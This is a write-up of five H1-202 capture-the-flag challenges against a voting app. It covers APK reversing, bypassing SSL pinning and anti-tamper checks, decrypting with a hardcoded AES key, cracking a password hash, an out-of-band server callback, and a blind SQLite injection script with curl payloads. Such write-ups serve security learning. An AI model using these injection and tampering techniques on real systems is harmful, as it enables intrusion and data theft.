H1-202 CTF write-ups

Challenge 1: Plaintext Flag (Mobile)

So we are provided with an apk file called app-release.apk. Sane thing to do is to disassemble it with apktool

$ apktool d app-release.apk
I: Using Apktool 2.3.1 on app-release.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...

The first thing to do in CTFs is to grep for the flag as the easy challenges in a CTF usually have the flag exposed somewhere in Plaintext. I didn’t know what the flag format for this CTF was so I just grepped for a generic flag{ and the flag pops up.

$ grep -ri 'flag{'
res/values/strings.xml: flag{easier_th4n_voting_for_4_pr3z}

Challenge 2: Encrypted Flag (Mobile)

With the easy stuff out of the way, I now set on to reverse engineer the apk. Since apk’s are basically dalvik bytecode, we can convert them into JVM bytecode(Jar) and then just decompile it (Bytecode is higher level than native code and therefore can be decompiled very accurately).

I used Jadx-Gui along with the “deobfuscation” option as the apk was most probably compiled with AndroGuard (which changes class names and methods to single chars) .

The “deobfuscation” just renames the single character class and variable names to something which can easily identified (and grepped).

I dumped it all in a folder and opened it with Android Studio (for easier navigation). Looking at the “AndroidManifest.xml”, I found out that the main activity of the app was “com.hackerone.candidatevote.MainActivity”.

Since the package name was also “com.hackerone.candidatevote”, I figured that most of the major code would be under that. I skimmed over it and noticed the following things:

  • The app was using SSL pinning to connect to “https://api-h1-202.h1ctf.com/”.
  • There was a class called “AntiTamper” which basically does what the name communicates.
  • The app was also using a native library and calling a bunch of weird functions starting from “aaaa…” from native library.
  • The app also had an AES encryption class which used ECB mode of AES.

At this point, I decided to install the app on Genymotion (an emulator). It had a pretty normal interface with a Login/Sign-up interface too. There were pictures of 3 candidates on the Main Page and we could vote for them after logging in. We aren’t able to MITM the requests as the app uses SSL pinning.

I didn’t know where to go from here, so I decided to bypass the SSL pinning and inspect the requests through a proxy in hope for finding something.

I noticed that the domain “api-h1-202.h1ctf.com” worked with both with or without SSL.

I realized the easiest way to bypass pinning was just to patch up “https://api-h1-202.h1ctf.com” with “http://api-h1-202.h1ctf.com”.(https to http)

The URLs were defined in the class “CandidateClient”. I went over to the smali folder generated by apktool and opened up “CandidateClient.smali”.

Since it was just a simple string change, I CTRL+F-ed for “https://” and changed it to “http://”

Then I just recompiled it with apktool, signed it and installed it.

$ apktool b app-release
I: Using Apktool 2.3.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
$ ./signapk app-release/dist/app-release.apk
The signer certificate will expire within six months.
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate this jar after the signer certificate's expiration date (2018-05-22) or after any future revocation date.
$ adb install app-release/dist/app-release.apk

But due to some weird black magic, the app crashed as soon as I tried to open it.

I didn’t understand what exactly did I do wrong? Did changing the https to http trigger some other check? I decided to look over the anti debug code in “AntiTamper” class again.

BAHA, that’s when I saw this check.

ZipEntry entry = zipFile.getEntry("classes.dex");
Log.d("TAMPER", "" + entry.getCrc());
if (entry.getCrc() != parseLong) {
    return true;

So it’s basically checking if anyone has tampered with code by calculating a CRC of the classes.dex and comparing it with the stored CRC (like a md5sum verification but with CRC). ughhh so much Anti Debug.

Since I had plans to attach a debugger too for Dynamic Analysis, I decided to patch all the Anti Debug code once and for all (or that’s what I believed I was doing at that time).

I opened the “AntiTamper.smali” and patched all the code to return True. It was just adding a bunch of goto statements to always jump to the true condition though. Now installing it again, the app works and we can even see the requests in burp. FIRST Problem SOLVED.

Now WHAT!!!!!! I began looking closely at the code again and I noticed this weird convention of function calls in the form.


These were spread all over the classes and they were actually native functions from the native lib. So now it’s time to reverse the native lib

This is actually my favourite part because I just love reversing (and binary exploitation).

I took the x86 version of the native lib, popped it into IDA and made my way through each of those ‘aaaaa’ functions.

One of those ‘aaaaa’ functions calls ‘anti_debug’ (OH GOD NOT AGAIN!!!!), which as you might have predicted, is another of those Anti Debug things. The ‘anti_debug()’ basically forks itself and pthreads itself so no other process can do that and access it’s memory.

So how should we go about patching this? Should we just patch the function call or NOP out the entire function. I decided on something completely different.

I overwrote the first instruction in the anti_debug function to a ‘ret’ instruction (0xC3 opcode).

What it does is that returns the function as soon as it is called, making all the code after it useless.

I just opened it up in a hex editor, went to the offset 0xB40 (Where the function was loaded) and overwrote one byte with 0x3C.

;) Anti Debug bypassed in a hacker way.

… How it looks after patching …

Now that I think about it, I don’t really know why I patched it because I didn’t end up attaching a debugger (or Frida) anyways.

Coming back to the ‘aaaa’ functions, they just copied the string passed to them in a global variable called ‘BigThings’ 8 bytes at a time at different offsets. The string passed to them were 32 bytes each and most probably hex encoded.


Since they were all over the code and I didn’t want to set up gdb to debug the native lib to extract the final string, I ended up copying the pieces of the string from the code manually and concating them.

I copied them in the same order they were assigned in the native lib. The resulting string was 224 chars long;


What could this be hmmm….???

I couldn’t figure this out for a long time and then it magically hit me “AES”. There was AES encryption going on in the code so maybe this could be AES encrypted?

I looked up the AES code and apparently it was using a hardcoded key for encrypted/decryption.

public static SecretKey m7045a(Context context) {
    return new SecretKeySpec(context.getString(R.string.title_for_the_current_time).getBytes(), "AES");

It is using the hardcoded string named ‘title_for_the_current_time’ from resources. I opened up strings.xml in res/values and retrieved the string. It was:


Let’s just spin up a quick python script to decrypt the string.

from Crypto.Cipher import AES


strn = 'DDC09B1C11F8675E0186310A6B36002D9D2A44020EA764B6AD790A9B1E894BFE5055DEAA9850A19FB67D4E76BC8FD82591C6DD1299FD5D1DE9C4A0C78616D24444648798D358E60D7C4D29B5469CAEA8A76CBBE4FA5619E360BF7DFC77D1D49E1E7746CB4B982418E917EDD07F6ACFFA'.decode('hex')

print myinst.decrypt(strn)

The script gave the following output

$ python as.py

Huh? What in the world could these be? These look like some sort of credentials? I looked up the second part and it seems like that is a APR1MD5 hashed string. It’s basically MD5 but in a special format.

I didn’t know where to go from here, so I just ran a basic dictionary attack (rockyou.txt <3) on the APR1MD5 string and hashcat cracked it in mere seconds. The un-hashed string was ‘pickles’

$apr1$Qk6pnugW$FxFFxsg8Ad0QVemp3sSSH. : pickles

Now stuck AGAIN with nowhere to go. I ended up reversing the rest of the native lib for any other interesting functions but that’ll be described in the challenge 4.

I was pretty sure the “Encrypted Flag” should have been in the encrypted string, but it wasn’t :/

Then it just stuck me like lightning, we had a 224 char hexed encrypted string. Decrypting it should have given out 112 chars but what we got wasn’t 112.

I decided to take a hexdump of the decrypted string TADA, a flag pops up.

$ python as.py |hexdump -C
00000000 66 6c 61 67 7b 77 30 77 5f 69 5f 73 65 65 5f 75 |flag{w0w_i_see_u|
00000010 5f 63 61 6e 5f 64 6f 5f 64 65 63 72 79 70 74 69 |_can_do_decrypti|
00000020 6f 6e 7d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d |on}.............|
00000030 65 6c 65 63 74 69 6f 6e 41 64 6d 69 6e 3a 24 61 |electionAdmin:$a|
00000040 70 72 31 24 51 6b 36 70 6e 75 67 57 24 46 78 46 |pr1$Qk6pnugW$FxF|
00000050 46 78 73 67 38 41 64 30 51 56 65 6d 70 33 73 53 |Fxsg8Ad0QVemp3sS|
00000060 53 48 2e 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d |SH..............|
00000070 0a |.|

The 0x0d seems like some control character which clears out the line printed on the console. Pretty smart huh?

That’s how the second flag was discovered (there were some(a lot) failed attempts too which I can’t describe because it’ll just make the blog super lengthy)

Challenge 3: go-ing down the rabbit hole (Reversing)

Here comes my favourite part again: Reversing YAAAAAAYYY!!

The challenge description was as follows:

<span class="chal-desc">The admin forgot to remove the code update endpoint. I wonder what secrets they left in there?</span>

It took me less than a minute to identify the code endpoint (“/code”)

public interface C1433e {
    @C1076k(a = {"X-API-AGENT: ANDROID"})
    @C1071f(a = "/code")
    C1090b m7044a(@C1074i(a = "token") String str, @C1085t(a = "app") String str2);

By looking at this, it looks like it takes a parameter ‘?app’ (and probably ‘?token’). I traced it back to where this interface was initialized and sure enough, there was a function in class “CandidateClient” which returns an object of this interface.

public static C1433e m6993b() {
    return (C1433e) m6994c().m6124a(C1433e.class);

Now just re-tracing this function, it is being called in “MainActivity”

public void m7030l() {
    if (this.f4756q != null) {
        CandidateClient.m6993b().m7044a(this.f4756q, "client").mo926a(new C14285(this));

Although it’s kinda hard to understand what’s happening due to the chaining of calls, we can see the string “client”. I assumed it was one of the parameters and tried requesting it.

$ curl -I -X GET -H 'X-API-AGENT: ANDROID' 'https://api-h1-202.h1ctf.com/code?app=client'

HTTP/1.1 200 OK
Server: Cowboy
Connection: keep-alive
Accept-Ranges: bytes
Content-Description: File Transfer
Content-Disposition: attachment; filename=client
Content-Length: 3142779
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream
Last-Modified: Fri, 16 Feb 2018 14:12:57 GMT
Date: Fri, 23 Feb 2018 10:16:54 GMT
Via: 1.1 vegur

So well, a file is served. Let’s download it and inspect it.

$ file outp
outp: Zip archive data, at least v2.0 to extract

So it is a zip file. Let’s unzip it.

After unzipping, there were 6 files in the zip mainly

  • AndroidManifest.xml
  • classes.jar
  • jni (folder)
  • res (folder)
  • proguard.txt
  • R.txt (empty)

Interesting…, This looks like the structure of an android app.

The Jni folder had multiple native libraries compiled in golang (golang reversing ew) for different architechtures. Although we could have predicted it is a golang reversing by reading the title carefully:

"go"-ing down the rabbit hole

The classes.jar had multiple class files and decompiling them, I discovered that they were mostly doing nothing except setting up the environment for golang. The package name was pinkfloyd and there were also some native functions declared in decompiled classes.

Since this is a reversing challenge, I believed I’d need to reverse the native lib. So I got right into it.

I popped it into IDA (x86 one) and started with the ‘pinkfloyd*’ functions because they were the ones declared in the classes code.

There was this function “pinkfloyd_darkSideOfTheMoon” which basically called another function with a similar name, which in turn called another function but overall they end up doing nothing. AGHGH!!

So umm, now WHAT? I was done reversing the declared functions and there was nothing interesting going on.

There’s almost 2000 overhead functions too generated by golang for it’s runtime execution which are basically useless.

I spent the next 15 minutes tracing each interesting symbol and then I stumbled upon this

A function named ‘github_com_breadchris_huffman_DarkSideOfTheMoon()’. Breadchris is one of the problem writers, so looks like we’re on the right path.

Reversing it, the function just does some golang overhead shit and then calls ‘github_com_breadchris_huffman_e()’ with two parameters ‘github_com_breadchris_huffman_secreto’ and ‘github_com_breadchris_huffman_keyo’ and a pointer.

The ‘github_com_breadchris_huffman_secreto’ and ‘github_com_breadchris_huffman_keyo’ are global pre-defined variables in .rodata section.

Reversing the ‘github_com_breadchris_huffman_e()’, it basically computes a repeated xor of the first parameter with the second parameter as key and stores it in the 3rd parameter (the pointer).

Since I knew what values were being passed to that function, I just did a quick repeated xor in the python console to see the output.

The first parameter (‘github….secreto’) was just random unprintable bytes, but the second parameter (github….keyo) was ‘keyK3yk3ykeY’.

>> key = 'keyK3yk3ykeY'
>>> secretBytes = "0d 09 18 2c 48 15 04 5c 12 02 00 06 1c 0d 18 3f 6c 0e 0e 6c 1e 04 11 06 03 00 0b 39 41 0b 19 41 0b 16".replace(" ","").decode('hex')
>>> ans = ""
>>> for m in range(len(secretBytes)):
... ans += chr (ord(secretBytes[m]) ^ ord(key[m%len(key)]))
>>> ans

That’s it, we got the flag for the reversing challenge. It wasn’t that hard, I just had to wrap my head around some weird golang conventions.

Challenge 4: Calling out Foul Play (Web)

After getting past the reversing challenge, I was back again to the original apk. The native lib of the original apk had some other interesting functions, one of which was being called in ‘AddCandidateActivity’.

public void run() {
    this.f4716a.f4722n.loadUrl("javascript:" + URLEncoder.encode(this.f4716a.getJs()));

‘AddCandidateActivity’ just sets up a webview and executes the Js received from ‘getJs()’, which is a native function. I popped open the library again and retrieved the Js myself and beautified it it. At the starting, we could see the following array being initilized with what looked like base64 data.

var a = ['aHR0cDovL2xvY2FsaG9zdDo5MDAxL2FkbWlu', 'c2V0UmVxdWVzdEhlYWRlcg==', 'QmFzaWMg', 'aWZvcmdvdDp0aGVwYXNzd29yZA==', 'c2VuZA==', 'YXBwbHk=', 'SUthTWQ=', 'YWV2QW0=', 'WUxBRnA=', 'U01rR2I=', 'Y29uc29sZQ==', 'Nnw1fDF8M3wyfDR8MHw4fDc=', 'b25pSE4=', 'c3BsaXQ=', 'ZXhjZXB0aW9u', 'd2Fybg==', 'aW5mbw==', 'ZGVidWc=', 'ZXJyb3I=', 'bG9n', 'dHJhY2U=', 'cmVzcG9uc2VUZXh0', 'aGFzT3duUHJvcGVydHk=', 'cHVzaA==', 'd1VkUnk=', 'am9pbg==', 'Z2V0TmFtZQ==', 'Z2V0VXJs', 'PGgxPkNhbmRpZGF0ZTwvaDE+PGgzPk5hbWU6IHt7IC5OYW1lIH19PC9oMz48aW1nIHNyYz0ie3sgLlVybCB9fSIgLz4=', 'YWRkRXZlbnRMaXN0ZW5lcg==', 'bG9hZA==', 'b3Blbg==', 'R0VU'];

I quicly base64-decoded it in python console

a = ['aHR0cDovL2xvY2FsaG9zdDo5MDAxL2FkbWlu', 'c2V0UmVxdWVzdEhlYWRlcg==', 'QmFzaWMg', 'aWZvcmdvdDp0aGVwYXNzd29yZA==', 'c2VuZA==', 'YXBwbHk=', 'SUthTWQ=', 'YWV2QW0=', 'WUxBRnA=', 'U01rR2I=', 'Y29uc29sZQ==', 'Nnw1fDF8M3wyfDR8MHw4fDc=', 'b25pSE4=', 'c3BsaXQ=', 'ZXhjZXB0aW9u', 'd2Fybg==', 'aW5mbw==', 'ZGVidWc=', 'ZXJyb3I=', 'bG9n', 'dHJhY2U=', 'cmVzcG9uc2VUZXh0', 'aGFzT3duUHJvcGVydHk=', 'cHVzaA==', 'd1VkUnk=', 'am9pbg==', 'Z2V0TmFtZQ==', 'Z2V0VXJs', 'PGgxPkNhbmRpZGF0ZTwvaDE+PGgzPk5hbWU6IHt7IC5OYW1lIH19PC9oMz48aW1nIHNyYz0ie3sgLlVybCB9fSIgLz4=', 'YWRkRXZlbnRMaXN0ZW5lcg==', 'bG9hZA==', 'b3Blbg==', 'R0VU']
>>> for m in a:
... print m.decode('base64')
<h1>Candidate</h1><h3>Name: {{ .Name }}</h3>![]({{ .Url }})

Even without reading the rest of the js, we could hypothesize that a a request is being sent to ‘http://localhost:9001/admin’. I took the courtesy to reverse the rest of the js and yes, that is exactly what was a happening.

A request was being sent to ‘http://localhost:9001/admin’ with http basic auth credentials ‘iforgot:thepassword’ and 3 parameters “?t, ?image and ?name”.

The ‘image’ and ‘name’ parameter were retrieved from what the user enters in the ‘AddCandidateActivity’s page. The ‘t’ parameter was fixed to following value which looks like a template:

<h1>Candidate</h1><h3>Name: {{ .Name }}</h3>![]({{ .Url }})

There was also an update in the CTF which instructed us to use ‘http://admin-h1-202.herokuapp.com/admin’ instead of the ‘http://localhost:9001/admin’.

I tried visiting ‘http://admin-h1-202.herokuapp.com/admin’, but it asked for basic auth credentials. Since the credentials in the Js were obviously fake, what could they be???

Do you remember the pair of credentials we recovered in the challenge 2? Maybe they might work? I tried those and as expected, I was authenticated.

After a few tries, I was able to deduce the following about the parameters.

  • The ?name parameter can be any string
  • The ?image parameter should start with http(s):// and should not be/resolve to any private/local IP.
  • The ?t param is the most interesting. It seems like a template and it replaces the {{ .Name }} with the value of the ?name parameter and {{ .Url }} with the value of the ?image parameter.

I started playing around with those and eventually I pointed the ?image param to my server. To my surprise, I received two requests on my server. One of them was from my browser but the other one was with a User-Agent “Go-http-client/1.1” - - [23/Feb/2018:09:18:56 +0000] "GET / HTTP/1.1" 404 445 "-" "Go-http-client/1.1"

It looks like they’re using a golang backend (It’s extremely usefull in the next challenge)

I decided to inspect it more deeply so I started a netcat listener on port 81 and pointed the image param to port 81:


To my surprise, I received the following request on my server:

root@op:~# nc -nlvp 81
Listening on [] (family 0, port 81)
Connection from [] port 81 [tcp/*] accepted (family 2, sport 35868)
GET / HTTP/1.1
User-Agent: Go-http-client/1.1
Challenge: Calling out Foul Play
Flag: flag{wow_look_at_u_with_ur_server_n_shit}
Accept-Encoding: gzip

Wow that was unexpected. We found another flag YAAAYYY!!!!!!

Challenge 5: In your db? oh no (Web)

Here is the description of the challenge

<span class="chal-desc">That is a nice voting API server you got there. I bet you have a good DB too!</span>

Hmm… Voting API, this sounds like the first API we found in the source, not the one we retieved from Js.

I found this list of endpoints of the first API in decompiled source:

public interface C1432d {
    @C1076k(a = {"X-API-AGENT: ANDROID"})
    @C1071f(a = "/candidates")
    C1090b m7039a();

    @C1076k(a = {"X-API-AGENT: ANDROID"})
    @C1080o(a = "/user/login")
    C1090b m7040a(@C1066a C1437h c1437h);

    @C1081p(a = "/vote/{id}")
    @C1076k(a = {"X-API-AGENT: ANDROID"})
    C1090b m7041a(@C1074i(a = "X-API-TOKEN") String str, @C1084s(a = "id") int i);

    @C1076k(a = {"X-API-AGENT: ANDROID"})
    @C1080o(a = "/candidates")
    C1090b m7042a(@C1074i(a = "X-API-TOKEN") String str, @C1066a C1431c c1431c);

    @C1076k(a = {"X-API-AGENT: ANDROID"})
    @C1080o(a = "/user/register")
    C1090b m7043b(@C1066a C1437h c1437h);

So we have to access the db huh? That sounds like SQL Injection to me. I started tampering around with endpoints one by one and finally I found the Injection. It was at:

GET /candidates/%Injection

Although it was not in the listed endpoints above, the whole API was REST based so I discovered it eventually after exhausting every other option lol.

It was also a blind SQL Injection as no data was being returned.

$ curl -H 'X-API-AGENT: ANDROID' 'https://api-h1-202.h1ctf.com/candidates/1%20and%201=1'
{"error":"Under construction // TODO: return results from query"}

$ curl -H 'X-API-AGENT: ANDROID' 'https://api-h1-202.h1ctf.com/candidates/1%20and%201=2'

See, both of the results are different. The empty JSON means it’s false while the ‘error’ in the response means it is true.

In my personal experience, nobody uses MySQL in CTFs. It’s mostly Sqlite. But just to be sure, let’s try both of their syntaxes.

$ curl -H 'X-API-AGENT: ANDROID' 'https://api-h1-202.h1ctf.com/candidates/1%20and%20substring("lol",1,1)="l" '

$ curl -H 'X-API-AGENT: ANDROID' 'https://api-h1-202.h1ctf.com/candidates/1%20and%20substr("lol",1,1)="l" '
{"error":"Under construction // TODO: return results from query"}

The first one is MySQL syntax which returns false while the next one returns true (which is sqlite)

I wrote another quick python script to exploit the blind Sqlite injection.

I also used binary serach, which increased the speed of data retrieval exponentially.

import requests
import sys

MAIN = "http://api-h1-202.h1ctf.com/candidates/1 and %s"

TABLEQUERY = "(SELECT substr(tbl_name,%d,1) FROM sqlite_master WHERE type='table' limit %d,1) %s char(%d)"

def getResult(strn):
	#print strn
	return requests.get(MAIN%strn, headers={'X-API-AGENT':'ANDROID'}).text

def doQuery(tableNum, tableChar, sign, curNum):
	anp1 = getResult(TABLEQUERY%(tableChar, tableNum-1, sign, curNum))
	if 'error' in anp1:
		return True
		return False

def binarySearch(tableNum):
	tableName = ""
	curChar = 1
	while True:
		start = 0
		end = 127
		mid = start+(end-start)/2
		while True:
			mid = (start+end)/2
			if mid == -1:
				return tableName
			elif doQuery(tableNum, curChar, ">", mid):
				start = mid+1
			elif doQuery(tableNum, curChar, "<", mid):
				end = mid-1
			elif doQuery(tableNum, curChar, "=", mid):
				tableName += chr(mid)
		curChar += 1

#totalTables = [candidates,sqlite_sequence,users,secret_flags]
totalTables = []
for m in range(1,5):

The script above is only for extracting table names as I couldn’t locate the final version I wrote. But it can easily modified for extract column names and dump data too.

So I found a table called ‘secret_flags’ and then a column named ‘flag’ from which I got the following flag


This was my first proper H1 CTF and I managed to score the 8th position. I can live with that. I wasn’t able to solve the 6th challenge but well, there’s always next time.

Shoutout to all the organizers for making such an amazing and unique CTF. This was my first time reversing a go binaries and I learned a lot :)